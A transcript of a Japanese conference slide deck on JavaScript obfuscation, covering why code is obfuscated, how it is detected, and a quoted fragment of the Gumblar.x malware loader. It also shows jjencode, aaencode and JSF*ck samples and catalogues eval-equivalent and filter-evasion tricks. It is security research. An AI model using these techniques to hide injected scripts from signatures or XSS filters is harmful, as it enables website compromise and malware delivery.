jsobfus - UTF-8.jp
Download
Report
Transcript jsobfus - UTF-8.jp
難読化 JavaScript
NetAgent Co.,Ltd.
Yosuke HASEGAWA
韓国 POC2010
韓国最大のセキュリティカンファレンス
2010年12月14日、15日
参加者200名くらい
海外からも有名スピーカー
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
韓国 POC2010
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
本題
難読化JavaScript
難読化の理由
圧縮の副作用として
アンチウイルスやIDSのシグネイチャ
回避
アンチデバッグ
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
配信サイズの縮小
Google Closure Compiler
Yahoo! YUI Compressor
Microsoft Ajax Minifier
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:圧縮の副作用として
圧縮されたJavaScriptのデバッグ
deminify ツールはいろいろ
Fiddlerでdeminified JSを返す
Webブラウザのデバッガで解析
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:シグネイチャの回避
パターンマッチの回避が目的
容易に亜種を生成
「解析のしにくさ」は副次的?
Gumblar、Gumblar.x など
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化 : Gumblar.x
<script>/*GNU GPL*/ try{
window.onload = function(){
var If0y2m9d6n3gx = document.createElement(
's)(c&&r&i@&$p(t))@&@....'
.replace(
/&|\(|@|#|\!|\$|\^|\)/ig, ''));
If0y2m9d6n3gx.setAttribute('type',
't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s
$$$c^r@))i$@p^@)t^!!$'
.replace(/&|#|\)|\!|@|\^|\$|\(/ig, ''));
If0y2m9d6n3gx.setAttribute('src',
'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/('
.replace(/\$|#|\^|@|\(|&|\)|\!/ig, ''));
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:Gumblar
文字列リテラルに記号を挿入
‘文$字#%列’.replace( /記号/, '' );
機械的に生成可能
変数名が長い
var If0y2m9d6n3gx, Jydcftfn0k ;
英数字のみ?
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化 : Gumblar.x
パターンマッチでない検出アプローチ
文字の出現頻度
a-zA-Z0-9 と &#)!@^$( の割合
Gumblar : 30% - 55%
jQuery
: 87%
Twitter : 88%
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:シグネイチャの回避
特定サイトのWAF/IDSの回避が目的
一撃必殺? 一期一会?
亜種の生成は不要
あまり知りません ^^;
最終的には <script> <iframe>な
どを挿入
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化 : アンチデバッグ
解析しにくいコード
ブラウザ依存でも可?
趣味の世界
jjencode, aaencode, JSF*ck
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
jjencode
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}
+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}
+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._
$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+
($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$
=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$
$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"
\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$
.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_
$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+
$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\")"+"\"")())();
http://utf-8.jp/public/jjencode.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚
Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚
ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_')
[c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚
o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_')
[(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚
Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚
o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_')
[o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚
Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚)
['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+
(゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚
Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
http://utf-8.jp/public/aaencode.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
JSF*ck
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+
[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(
!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!
![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[]
)[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]
]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(
![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]
+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+
[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+
[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]
+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])
[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]
+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]
+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(
![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]
)[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[
]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+(
[][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[
+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]
+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+
[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(
![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!
+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
http://utf-8.jp/public/jsfuck.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
jjencodeによる攻撃
http://www.malwaredomainlist.com/forums/index.
php?topic=4354.0
http://extraexploit.blogspot.com/2010/10/dollarsjavascript-code-yet-another.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
jjencodeによる攻撃
現実的には攻撃には不向き
亜種の生成が困難
IE7以下で動作しない
「エンコード」なのでデコードが簡
単
文字種から容易に検出可能
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法いろいろ
変数の使いまわし、ロジックの裁断
ヘタクソなプログラムと一緒
単純にノイズを埋め込む
JavaScriptの柔軟性を利用
window["alert"](1)
eval("alert(1)")
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 数値の生成
数値を使わないコードの記述が可能に
数値でないものに演算子を適用
"2" * "3"
// 6
+[] -~NaN
// 0 - -1 == 1
""^""
// 0 xor 0 == 0
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 論理値の生成
true / false を直接記述しないコー
ドが可能に
論理値でないものに論理演算子を適用
![]
""==''
[]<{}
INNOVATION TO THE FUTURE
// false
// true
// true
NetAgent Co., Ltd.
難読化の技法 : 文字列の生成
8進数、16進数で表記
"\101\x42"
JS or ブラウザのエスケープ関数
unescape("%41%42")
String.fromCharCode(0x41,0x42)
atob("QUI=")
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列の生成
文字列でないものに文字列演算子を適
用で、string にキャスト
{}+""
//"[object Object]"
[]+![]
// "false"
[]["$"]+"" // "undefined"
配列形式で1文字取り出し
([]+![])[ 0 ] // 'f'
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列の操作
文字の切り出し
"abcd"[ 0 ]
引用符を使わないリテラル文字列
/ABCD/.source // 正規表現
<>ABCD</> // E4X FF
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列の操作
文字の連結
"A".concat("B")
["A","B"].join().replace(/,/g,"")
<>{"A"}{"B"}</a>
// E4X FF
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
DOM経由
write("<script>...</script>")
JS内でeval
eval( "alert(1)" )
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
eval 相当の機能
setTimeout("alert(1)", 0 )
Function("alert(1)")()
Number.constructor("alert(1)")()
execScript("alert(1)", "jscript") //IE
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
eval 相当の機能
crypto.generateCRMFRequest(
'CN=0', 0, 0, null,
'alert(1)',
384,null,'rsa-dual-use')
// FF
execScript(
"#@~^CAAAAA==C^+.D`8#mgIAAA=
=^#~@","jscript.encode")
// IE
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : windowの取得
window["alert"](1)
window["eval"]("alert(1)")
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : windowの取得
window, self, this, top, parent
x=''.split,x(null)
Date.constructor('return this')()
(0,[].sort)()
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 将来…
ブラウザ依存の積極的活用
主ターゲットを絞る、ブラウザごと
に違うexploit等
アンチデバッガ
WebWorkersが利用可能
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
参考資料
Our Favorite XSS Filters/IDS and how to Attack Them
http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNavaFavoriteXSS-SLIDES.pdf
JavaScript From Hell
http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf
sla.ckers.org web application security forum :: XSS Info
http://sla.ckers.org/forum/list.php?2
sla.ckers.org web application security forum :: Obfuscation
http://sla.ckers.org/forum/list.php?24
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.